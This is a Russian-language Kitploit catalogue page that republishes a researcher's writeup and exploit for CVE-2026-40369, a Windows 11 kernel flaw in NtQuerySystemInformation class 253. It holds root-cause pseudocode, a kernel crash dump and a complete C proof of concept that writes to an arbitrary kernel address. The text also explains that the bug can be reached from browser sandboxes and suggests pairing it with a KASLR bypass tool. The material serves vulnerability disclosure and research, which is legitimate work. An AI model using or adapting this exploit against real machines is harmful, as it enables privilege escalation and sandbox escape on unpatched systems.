Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40369-EXPLOIT — Полный код эксплойта для CVE-2026-40369 - Уязвимость произвольной записи в ядре Windows, позволяющая выйти из песочницы рендер-процесса всех браузеров. | Kitploit
Инструменты/GitHubGitHub/orinimron123/cve-2026-40369-exploit
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHuborinimron123/cve-2026-40369-exploit

CVE-2026-40369-EXPLOIT

Полный код эксплойта для CVE-2026-40369 - Уязвимость произвольной записи в ядре Windows, позволяющая выйти из песочницы рендер-процесса всех браузеров.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
2605843 месяцев назадПроверено Kitploit

Полный блог - https://pwn2nimron.com/blog

CVE-2026-40369: Произвольное увеличение адреса ядра через NtQuerySystemInformation (Класс 253)

Сводка

  • Тип: Произвольная запись в ядро (увеличение) — ПРИМИТИВ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ
  • Компонент: ntoskrnl.exe — ExpGetProcessInformation
  • Триггер: NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)
  • Влияние: Произвольное увеличение адреса ядра (примитив записи) из любого непривилегированного процесса
  • Достижимо из песочницы Chrome: ДА (NtQuerySystemInformation не заблокирован)
  • Версии Windows: Windows 11 24H2-25H2
  • Надёжность эксплойта: 100% детерминировано
  • Обход KASLR можно объединить с prefetch tool https://github.com/exploits-forsale/prefetch-tool

Первопричина

ExpGetProcessInformation вызывается ExpQuerySystemInformation для классов информации 5 (SystemProcessInformation), 0x39, 0x94, 0xFC и 0xFD (253 = SystemProcessInformationExtension).

Место вызова в ExpQuerySystemInformation+0xD7A:

root@kitploit:~
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);

Когда userBuffer также указывает на ядро (например, при определении требуемого размера буфера), функция переходит в:

root@kitploit:~
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
    v91 = buffer;  // = NULL

    if (infoClass == 252) {
        v86 = v91;  // class 252 uses v86
        // ...
    } else {
        v86 = NULL;
        if (infoClass == 253) {
            v95 = v91;  // v95 = NULL (ОШИБКА: проверка адреса ядра отсутствует!)
            goto LABEL_11;
        }
        // class 5 path - uses v81, doesn't touch v95
    }
    v95 = NULL;  // class 252 path falls through here

LABEL_11:
    // ... process iteration loop ...
    while (NextProcess) {
        if (infoClass == 253) {
            ++*v95;          // CRASH: v95 is Arbitrary Kernel Address
            v95[1] += ...;   // Would also crash
            v95[2] += ...;   // Would also crash
        }
        // class 5/252 paths handle NULL buffer correctly
    }
}

Для класса 253 v95 устанавливается в указатель на буфер (v91 = buffer = NULL) без какой-либо проверки на NULL. Затем цикл перебора процессов пытается увеличить счётчик по адресу *v95, что приводит к разыменованию NULL-указателя в режиме ядра → BSOD.

Классы 5 и 252 правильно обрабатывают NULL-буферы, поскольку используют разные переменные (v81/v86) и имеют соответствующие проверки перед разыменованием.

Детали краша

root@kitploit:~
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
	bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the processor decided the fault was due to a corrupted PTE.
	bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
	- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 0000000000000002, (reserved)

IP_IN_PAGED_CODE: 
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03            inc     dword ptr [rbx]

STACK_TEXT:  
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82     : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac     : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97     : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0     : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96     : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb     : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e     : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf     : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061     : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355     : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154     : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef     : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374     : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c     : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c

Воспроизведение

Минимальный воспроизводитель (непривилегированный, не требует специальных токенов):

root@kitploit:~
/**
 * poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
 *
 * Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
 * Passes a kernel address as the output buffer with Length=0, causing
 * ExpGetProcessInformation to increment DWORDs at the target address
 * without validation.
 *
 * Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
 */

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef long NTSTATUS;

#define SystemProcessInformationExtension 253

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

int main(void)
{
    PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");

    if (!pNtQSI) {
        printf("[-] Failed to resolve NtQuerySystemInformation\n");
        return 1;
    }

    PVOID target = (PVOID)0xffff800041424344ULL;

    printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
    printf("[*] Target kernel address: %p\n", target);
    printf("[*] Will write:\n");
    printf("      [target+0] += num_processes  (DWORD increment)\n");
    printf("      [target+4] += total_threads  (DWORD add)\n");
    printf("      [target+8] += total_handles  (DWORD add)\n");
    printf("\n");
    printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
    printf("[*] Press Enter to trigger...\n");
    getchar();

    ULONG needed = 0;
    NTSTATUS status = pNtQSI(
        SystemProcessInformationExtension,
        target,   /* kernel address — ProbeForWrite skipped because Length=0 */
        0,        /* Length=0 bypasses ProbeForWrite entirely */
        &needed
    );

    printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
    printf("[*] Required length: %lu\n", needed);
    printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");

    return 0;
}

Оценка эксплуатируемости — ПРОИЗВОЛЬНАЯ ЗАПИСЬ В ЯДРО

Обход ProbeForWrite

ExpQuerySystemInformation вызывает ProbeForWrite(buffer, Length, alignment) перед диспетчеризацией. ProbeForWrite с Length=0 — это полный NO-OP — всё тело функции ограничено условием if (Length).

Таким образом: NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed) передаёт непроверенный указатель на ядро в ExpGetProcessInformation.

Примитив записи

Для каждого процесса в системе функция выполняет:

root@kitploit:~
v95 = userBuffer;  // attacker-controlled pointer, NOT validated for class 253 with Length=0

// For EACH process:
++*v95;              // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count

Это даёт:

  • addr+0: Увеличивается на 1 за процесс → итог = количество процессов в системе
  • addr+4: Сумма количества потоков всех процессов
  • addr+8: Сумма количества дескрипторов всех процессов

Почему записи происходят, несмотря на LENGTH=0

ExpGetProcessInformation проверяет if (length < 12) и устанавливает STATUS_INFO_LENGTH_MISMATCH, но НЕ возвращается досрочно. Он сохраняет код ошибки и продолжает цикл перебора процессов, выполняя записи в v95 для каждого процесса, прежде чем, наконец, вернуть код ошибки.

Работает из песочницы Chrome, Edge, Firefox

Полностью достижимо:

  • NtQuerySystemInformation НЕ блокируется изоляцией win32k
  • Ограниченный токен НЕ предотвращает этот системный вызов
  • Уровень целостности «Не доверенный» НЕ предотвращает этот системный вызов

alt text

Благодарность

Найдено и написано Ори Нимроном (@orinimron123)

Скачать инструмент